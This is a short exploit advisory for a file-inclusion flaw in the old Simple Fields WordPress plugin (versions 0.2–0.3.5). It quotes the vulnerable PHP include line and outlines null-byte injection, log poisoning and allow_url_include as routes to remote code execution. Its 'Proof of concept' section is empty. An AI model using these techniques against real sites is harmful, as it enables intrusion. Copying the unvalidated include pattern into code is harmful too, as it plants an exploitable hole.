# Exploit Title: Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE# Date: 2018-04-08# Exploit Author: Graeme Robinson# Contact: @Grasec# Vendor Homepage: http://simple-fields.com# Software Link: https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip# Version: 0.2 - 0.3.5# Tested on: Ubuntu 16.04.4 + PHP 5.3.0# Category: webapps1. Description
Versions 0.2 to 0.3.5 of the Simple Fields WordPress plugin are vulnerable to local file inclusion if running on PHP <5.3.4. This can even lead to remote code execution,for example by injecting php code into the apache logs orif allow_url_include is turned on in php.ini.
PHP <5.3.4is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4
The vulnerability was fixed (commented out)in version 0.3.6 on 2011-02-03. Simple Fields is no longer actively developed, since 2016-02-27(http://simple-fields.com/2016/bye-bye-simple-fields/)
The vulnerable line of code in simple_fields.php is:
require( $_GET["wp_abspath"].'./wp-blog-header.php');2. Proof of concept
